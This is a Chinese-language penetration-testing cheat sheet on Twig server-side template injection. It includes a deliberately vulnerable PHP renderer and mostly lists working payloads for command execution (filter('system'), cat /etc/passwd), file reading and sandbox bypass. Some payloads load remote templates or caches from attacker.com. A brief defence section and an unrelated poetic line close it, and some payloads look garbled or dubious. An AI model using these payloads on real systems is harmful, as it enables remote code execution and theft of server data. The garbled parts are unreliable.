一、基础知识
1. Twig简介
• 模板引擎:PHP的现代模板引擎,广泛用于Symfony框架。
• 语法标签:
• 变量输出:{{ variable }}
• 逻辑控制:{% if condition %}...{% endif %}
• 注释:
• 沙盒模式:默认禁用危险函数(如system
),但需手动启用完整沙盒限制。
2. 开发中的代码实例
正常使用示例
// PHP控制器逻辑(安全用法)
require_once 'vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader([
'index' => 'Hello, {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
$name = htmlspecialchars($_GET['name']); // 输入过滤
echo $twig->render('index', ['name' => $name]);
有漏洞的代码示例
// PHP控制器逻辑(危险操作!)
$twig = new \Twig\Environment($loader);
$user_input = $_GET['content']; // 未过滤直接传入模板
echo $twig->render($user_input, []); // 直接渲染用户输入
二、渗透关键点
1. 检测注入点
• 输入点:URL参数、模板动态拼接内容。
• 检测方法:
GET /page?param={{7 * 7}} HTTP/1.1
2. 判断沙盒模式
• 沙盒检测:尝试执行{{_self.env}}
,若返回null
或错误则沙盒已启用。
• 版本探测:
{{constant('PHP_VERSION')}} <!-- 输出PHP版本 -->
{{_self.version}} <!-- 输出Twig版本 -->
三、漏洞利用与Payload
1. 非沙盒模式利用
命令执行(需exec
函数可用)
{{['id']|filter('system')}} <!-- 执行系统命令 -->
{{['cat /etc/passwd']|map('system')}}
文件读取
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.read(1000)}}
利用_self
对象(旧版本)
{{_self.env.setCache("ftp://attacker.com")}}
{{_self.env.loadTemplate("恶意模板")}}
2. 沙盒绕过技巧
使用内置过滤器链
{{['id']|filter('system')|join(',')}} <!-- 绕过黑名单检查 -->
利用属性注入
{{app.request.query.filter('system','id')}}
模板继承攻击
{% extends "http://attacker.com/malicious.twig" %}
3. 其他Payload
• 信息泄露:
{{app.request.server.all|join(',')}} <!-- 泄露服务器变量 -->
{{_self}} <!-- 转储_self对象 -->
• XSS利用:
{{''}} <!-- 需关闭自动转义 -->
四、防御手段
1. 官方推荐
• 启用沙盒模式:
$policy = new \Twig\Sandbox\SecurityPolicy([], [], [], [], []);
$twig->addExtension(new \Twig\Extension\SandboxExtension($policy, true));
• 输入过滤:避免用户输入直接控制模板内容。
• 禁用危险函数:在php.ini
中禁用system
、exec
等函数。
2. 安全配置
• 更新至最新版本(≥Twig 3.x)。
• 使用白名单限制模板可访问的类和方法。
• 避免动态拼接模板内容。
五、绕过技巧
1. 字符串拼接
{{['id']|filter('sy'~'stem')}}
2. 利用attribute
函数
{{attribute(_self, 'env')}} <!-- 访问受限属性 -->
3. 上下文逃逸
{% set cmd = 'id' %}
{{{cmd:['system']}|json_encode}} <!-- 利用JSON解析漏洞 -->
六、总结与参考
1. 测试流程
- 检测注入点 → 2. 判断沙盒状态 → 3. 尝试基础Payload → 4. 绕过沙盒 → 5. 提权
2. 高危CVE
• CVE-2019-10911:沙盒模式绕过漏洞(影响Twig <1.38.4)。
• CVE-2022-23614:属性注入漏洞(影响Twig <3.4.3)。
3. 参考资源
• Twig官方文档
• OWASP SSTI备忘单
• Twig沙盒绕过研究
备注:Twig的沙盒模式相对严格,但开发者错误配置仍可能导致重大风险。渗透测试时需结合目标环境版本和过滤规则调整Payload。
梦里小镇落雨,开花,起风,挂霜,甚至扬起烤红薯的香气,每个墙角都能听见人们的说笑声。